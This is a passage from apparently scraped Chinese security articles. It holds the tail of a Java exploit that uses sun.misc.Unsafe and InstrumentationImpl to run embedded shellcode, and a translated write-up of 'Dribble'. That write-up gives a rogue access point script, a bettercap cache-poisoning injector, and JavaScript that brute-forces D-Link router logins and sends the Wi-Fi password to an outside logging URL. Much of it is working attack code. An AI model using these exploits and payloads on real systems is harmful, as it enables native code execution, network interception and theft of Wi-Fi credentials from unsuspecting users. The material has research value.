0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 };
Unsafe unsafe = null;
try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); }
long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html) long allocateMemory = unsafe.allocateMemory(size); System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
Map map=new HashMap(); map.put("X","y"); //unsafe.putObject(map,allocateMemory+0x10,ints); //unsafe.putByte(allocateMemory,); PocForRCE poc=new PocForRCE(); for (int i=0;i<10000;i++) { poc.b(33); } Thread.sleep(2000); for (int k=0;k<10000;k++) { long tmp=unsafe.allocateMemory(0x4000); //unsafe.putLong(tmp+0x3900,tmp); //System.out.println("alloce:"+Long.toHexString(tmp)); }
long shellcodeBed = 0; int offset=4; for (int j=-0x1000;j<0x1000;j++) //down search {
long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl)) {
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66) { System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; }
}
}
if (shellcodeBed==0) { for (int j=-0x100;j<0x800;j++) //down search {
long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl)) {
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48) { System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; }
}
} } System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);
String address="";
allocateMemory=shellcodeBed; address=allocateMemory+""; Class cls=Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor=cls.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object obj=constructor.newInstance(Long.parseLong(address),true,true); Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class}); ClassDefinition classDefinition=new ClassDefinition( Class.class, new byte[]{}); ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition}; try { unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8 for (int k=0;k<buf.length;k++) { unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body } redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate } catch (Exception e) { e.printStackTrace(); }
} private int a(int x) { if (x>1) { // System.out.println("x>1"); } else { // System.out.println("x<=1"); } return x*1; } private void b(int x) { if (a(x)>1) { //System.out.println("x>1"); this.a(x); } else { this.a(x+4); // System.out.println("x<=1"); } }}
编译，运行，成功执行了shellcode，弹出计算器。
到此，我们通过纯Java代码实现了跨平台的任意Native代码执行，从而可以解锁很多新玩法，比如绕过RASP实现命令执行、文件读写、数据库连接等等。
## 小结
本文主要介绍了几种我最近研究的内存相关的攻击方法，欢迎大家交流探讨，文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java
1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了，所以行文略有仓促，若有纰漏之处，欢迎批评指正。
* * * | 社区文章 |
# 利用JavaScript缓存远程窃取Wi-Fi密码
##### 译文声明
本文是翻译文章，文章原作者 rhaidiz，文章来源：rhaidiz.net
原文地址：<https://rhaidiz.net/2018/10/25/dribble-stealing-wifi-password-via-browsers-cache-poisoning/>
译文仅供参考，具体内容表达以及含义原文为准。
我一直想在这个小项目上花一些时间做一些研究，但是由于生活所迫让我总是一直繁忙。现在我终于可以抽出一些时间了继续研究这种攻击技术了，我将在本文中阐述我的研究成果。
很久以前，我学习了Vivek
Ramachandran讲解的“无线局域网安全Megaprimer课程”（课程非常好，强烈推荐），顺便说一下，在我做旅行的时候，我住的那些不同的酒店都会提供Wi-Fi。毋庸置疑，我的大脑开始变得疯狂，因此我一直在思考获取Wi-Fi密码的“非常规”的方法。
Can’t turn my brain off, you know.
It’s me.
We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean’s Twelve)
我即将描述的想法非常简单，可能也不是什么新的思路了。尽管如此，对我来说这是一种有趣的方式，让我将放在架子上一直吃灰的Raspberry Pi重新用了起来。
## 思路描述
我们的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目起一个名字，所以我在开发完这个项目后将其命名为“Dribble”:-)。Dribble
会创建一个虚假的Wi-Fi接入点，并等待客户端连接它。当客户端连接时，dribble会拦截对JavaScript页面执行的每个HTTP请求，并在响应中注入恶意JavaScript代码。新响应的HTTP头也会被更改，以便恶意的JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接到家庭路由器时，恶意JavaScript代码将激活，从路由器窃取Wi-Fi密码并将密码发送给攻击者。 很简单，对吧？
为了达到这个攻击目的，我必须弄清楚这三件事：
## 如何创建虚假接入点
* 1.如何强迫人们连接到这个伪造的热点
* 2.恶意的JavaScript代码应如何从路由器窃取密码
* 3.如何创建虚假的无线接入点
这非常简单，伪造的方法也包含在无线局域网安全Megaprimer课程中，并且有许多不同的github存储库和gist上的代码可以用来创建一个虚假的访问点。因此，我不会过多地描述细节，但为了完整起见，让我们讨论一下我使用的方法。我之前使用
hostapd 创建过Wi-Fi接入点，dnsmasq 作为DHCP服务器和DNS中继服务器，并使用 iptables
创建NAT网络。下面的bash脚本将创建一个非常简单的不受任何密码保护的Wi-Fi访问点。我在代码中添加了一些注释，希望能提高可读性。
#!/bin/bash
# the internet interface
internet=eth0
# the wifi interface
phy=wlan0
# The ESSID
essid="TEST"
# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up
##################
# DNSMASQ
##################
echo "
interface=$phy
bind-interfaces
# Set default gateway
dhcp-option=3,10.0.0.1
# Set DNS servers to announce
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
# Upstream DNS server
server=8.8.8.8
server=8.8.4.4
" > tmp-dnsmasq.conf
# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf
##################
# IPTABLES
##################
# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward
# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd
interface=$phy
# ESSID
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
# all mac addresses allowed
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf
## 如何强迫人们连接到伪造的热点
免责声明：由于各种原因，我故意将本节的内容留在高级别的描述中而没有提供任何代码。但是，如果我的方法能得到足够多的关注并且确实有人对此感兴趣，我可能会进行更深入的讨论，或许会提供一些代码和实践指南。
根据你的目标，可能有不同的方法尝试让某人连接到虚拟接入点。我们来讨论两种情况：
### 情景1
在这种情况下，目标连接到受密码保护的Wi-Fi，可能是攻击者试图访问的受密码保护的Wi-Fi。在这种情况下，有几件事情要进行尝试，但首先让我讨论有关Wi-Fi是如何工作的内容。深受大家喜爱的802.11标准有许多有趣的功能，其中有一个我发现…非常有趣。802.11定义了一个特殊的数据包，无论是加密，密码，基础设施或任何内容，如果把这个数据包发送到客户端则只会断开该客户端与接入点的连接。如果你发送一次，客户端将断开连接并立即重新连接，用户甚至不会注意到发生了什么。但是，如果你继续发送这种数据包，客户端最终会放弃重新连接，也就是说，你实际上可以阻塞Wi-Fi连接，用户可能会注意到他没有连接到接入点。通过滥用此特性，你可以简单地强制客户端断开与其连接的合法访问点的网络连接。基于这一点，可以做两件事：
* 1.攻击者可以使用与目标连接的访问点相同的ESSID创建虚假访问点，但没有密码。在这种情况下，攻击者应该希望一旦用户意识到他没有连接到接入点，他就会尝试再次手动连接。因此，目标将找到具有相同ESSID的两个网络，需要密码的那个会有“锁”的图标，而另一个不需要密码的则没有这个图标。用户可能首先尝试连接到带有“锁”图标的那个，但这不会起作用，因为攻击者已经干扰用户连接到这个热点了，并且可能他也可能尝试没有“锁”图标的那个…毕竟它具有相同的名称他非常想要连上网络……对吗？
* 2.另一个有趣的行为也可以用来强迫用户连接虚假的热点，无论何时，如果客户端没有连接到接入点，那么客户端都会不断的发送寻找先前已知的ESSID的信标数据包。如果目标已连接到未受密码保护的接入点，并且可能是用户自己的行为，则攻击者可以简单地创建一个虚假接入点，与目标访问的未受保护接入点的ESSID相同即可。因此，客户端将会愉快地连接到虚假接入点。
### 场景2
在这种情况下，目标没有连接到任何Wi-Fi接入点，可能是因为目标是智能手机而且目标用户正在街上行走。但是，有可能Wi-Fi网卡仍处于打开状态且设备仍在寻找已知的Wi-Fi ESSID。再次，如前所述，目标可能已连接到某个未受密码保护的Wi-Fi接入点。因此，攻击者可以使用目标已连接过的接入点的ESSID来创建虚假接入点，就像之前那样，Wi-Fi客户端将愉快地连接到虚假接入点。
## 创建并注入恶意载荷
现在我要说的是一个“略新”的思路（至少对我而言）：弄清楚恶意JavaScript代码应该如何访问路由器并窃取Wi-Fi密码。请记住，受害者将连接到虚拟接入点，这显然给了攻击者一些机会，但仍有一些事情需要考虑清楚。
作为攻击测试的目标路由器，我使用了家用Wi-Fi路由器，特别是我的ISP免费提供的D-Link
DVA-5592。不幸的是，目前我还没有其他可以测试的设备，所以我必须用它做好准备。
我们现在讨论的是恶意JavaScript代码。我们的目标是让这些恶意代码对路由器执行请求，这意味着它必须对本地IP地址执行请求。说到这里，你应该已经想到了诸如Same-Origin-Policy和X-Frame-Option之类的关键字。
##### 同源-策略
让我借用MDN网络文档中的定义：
同源策略是一种关键的安全机制，它限制了从一个源加载的文档或脚本与来自另一个源的资源交互。它有助于隔离潜在的恶意文档，减少可能的攻击媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
换句话说：如果域A包含JavaScript代码，则该JavaScript代码只能访问域A中的信息或域A的子域。它无法访问域B中的信息。
##### X-Frame-Option
让我再次从MDN Web文档中借用这个字段的定义：
X-Frame-Option 是一个HTTP响应头可用于指示浏览器是否应该允许在<frame>，<iframe>或<object>中渲染页面。站点可以通过这种机制确保其内容未嵌入到其他站点，并且可以使用此功能来避免点击劫持攻击。https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
这非常简单：X-Frame-Options 可用于防止页面在iframe标签中加载。
那么让我们看看我们请求D-Link登录页面后得到的响应：
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>
响应包含X-Frame-Options并设置为了DENY（感谢上帝），这意味着如果我不能通过在iframe标签中渲染路由器主页。此外，由于恶意JavaScript代码将被注入到与路由器不同的域中，因此Same-Origin-Policy将阻止与路由器本身的任何交互。对于这些问题，我提出我所想到的一个简单的解决方案，不过注意我的方法可能不是唯一的解决方案，思路如下：
注入两段不同的JavaScript代码。第一段JavaScript代码将iframe在受感染的页面中添加内容。将iframe的src参数指向路由器的IP地址。如前所述，路由器的IP地址X-Frame-Options设置为DENY。因此iframe将无法加载路由器的页面。但是，当创建iframe的JavaScript代码执行时，受害者仍然连接的是虚假访问点（还记得我前面提到的优势点吗？）。这意味着对路由器IP地址的请求将由虚假接入点处理……多么方便。因此，虚假接入点可以拦截对路由器IP地址执行的任何请求，并通过以下网页进行响应：
* 1.包含第二段JavaScript代码，这段代码将真正执行对真实路由器的请求
* 2.响应中没有X-Frame-Options HTTP 头
* 3.响应中包括用于缓存页面的HTTP头。
由于虚假接入点被当成了合法的路由器，因此浏览器将缓存一个页面，该域名是路由器的IP地址，从而绕过了Same-Origin-Policy和X-Frame-Options。最后，一旦受感染的客户端回到家连接到家庭路由器时：
* 1.第一个JavaScript代码将添加一个iframe指向路由器的IP地址，
* 2.在iframe中会加载已缓存的包含了第二段恶意的JavaScript路由器主页
* 3.第二段恶意JavaScript会被执行并攻击路由器。
第一段恶意JavaScript非常简单，它只需附加一个iframe。第二段恶意JavaScript有点棘手，因为它必须执行多个HTTP请求来强制登录，然后访问包含Wi-Fi密码的页面并将密码发送给攻击者。在我测试D-Link时，登录请求如下所示：
POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
这里的重要参数是：
* 1.userName这是admin（令人震惊）;
* 2.userPwd 看起来是加密的;
* 3.nonce 这肯定与加密密码有关。
查看登录页面的源代码，我立即注意到了这一点：
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);
这意味着登录需要CryptoJS库并从document.form.nonce.value中获取nonce
。有了这些信息，我可以轻松地创建一段小的JavaScript代码，这段代码会用一批用户名和密码尝试爆破用户名和密码然后登录后台。
进入路由器后，我需要寻找包含Wi-Fi密码的页面。D-Link DVA-5592中的当前固件会在用户登录到仪表板页面后立即以明文显示Wi-Fi密码（哦，我的天呐）。
此时我需要做的就是访问页面的HTML源码，获取Wi-Fi密码并将其发送到某个地方进行保存。现在让我们深入研究为D-Link量身定制的JavaScript恶意代码。
// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math);
(function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();
// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
if(this.response.includes("D-LINK")){
console.log("d-link");
dlinkStart();
}
};
xhr.responseType = 'text'
xhr.send(null);
// The main function that starts the attack
function dlinkStart(){
// List of possible usernames
var usernames = ["administrator","Administrator","admin","Admin"];
// List of possible passwords
var passwords = ["password","admin","1234","","pwd"];
// the array containing usernames and passwords comination
var combos = [];
var i = 0;
// combines all possibile usernames and passwords and put it into combos
for(var i = 0; i < usernames.length; i++)
{
for(var j = 0; j < passwords.length; j++)
{
combos.push({"user":usernames[i],"pwd":passwords[j]})
}
}
function dlinkAttacker(user, passwd) {
// first request to get the nonce
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.onload = function () {
if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
// the current username to test
var username = user
// the current password to test
var pwd = passwd
// the nonce extracted from the web page
var nonce = xhr.response.form.nonce.value
// the password encrypted with nonce
var encPwd = CryptoJS.HmacSHA256(pwd, nonce)
// let's try to log in
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
//Send the proper header information along with the request
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.onload = function () {
if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
try {
// the comination usernamepassword was corrent, let's get the Wi-Fi password
var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
// WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
var xhr3 = new XMLHttpRequest();
xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
xhr3.send( null );
} catch (e) {
// Wrong password, let's try a different combination
i++
dlinkAttacker(combos[i].user, combos[i].pwd)
}
}
}
// the body of the login request
var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
xhr2.responseType = 'document'
xhr2.send(params);
}
};
xhr.responseType = 'document'
xhr.send(null);
}
// Start the attack from the first combination of usernamepassword
dlinkAttacker(combos[i].user, combos[i].pwd)
}
嵌入这段代码的页面应该缓存在客户端的浏览器中，并根据路由器的IP地址发送。现在让我们暂时把这些代码放一边，让我们讨论一下缓存这段代码的网络配置。
正如我刚才所说，上面的JavaScript代码将缓存为来自路由器的IP地址，并将加载到由另一段JavaScript创建的iframe中，第一段JavaScript代码是我在客户端每次请求JavaScript的时候在每个页面中注入的。要完成拦截和注入，我使用了bettercap。Bettercap允许创建HTTP代理模块，可用于对HTTP代理进行编程并告诉它如何操作。例如，可以在将响应传递给客户端之前拦截响应，并决定注入什么，何时注入以及如何注入。因此，我在JavaScript中创建了一个简单的代码，它在bettercap中加载并执行注入。
// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]
// this function is called when the response is
// received and can be sent back to the client
function onResponse(req, res) {
// inject only responses containing JavaScript
if(res.ContentType.indexOf('application/javascript') == 0 ){
console.log("caching");
console.log(req.Hostname)
var body = res.ReadBody();
// set caching header
res.SetHeader("Cache-Control","max-age=86400");
res.SetHeader("Content-Type","text/html");
res.SetHeader("Cache-Control","public, max-age=99936000");
res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT");
res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT");
res.SetHeader("Access-Control-Allow-Origin:","*");
// set payload
var payload = "document.addEventListener("DOMContentLoaded", function(event){n";
for(var i=0; i < routers.length; i++){
payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n";
}
payload = payload + "});";
res.Body = body + payload;
}
}
有一点值得注意的是，上面的代码中，JavaScript有效载荷会尝试为routers数组中的每个IP
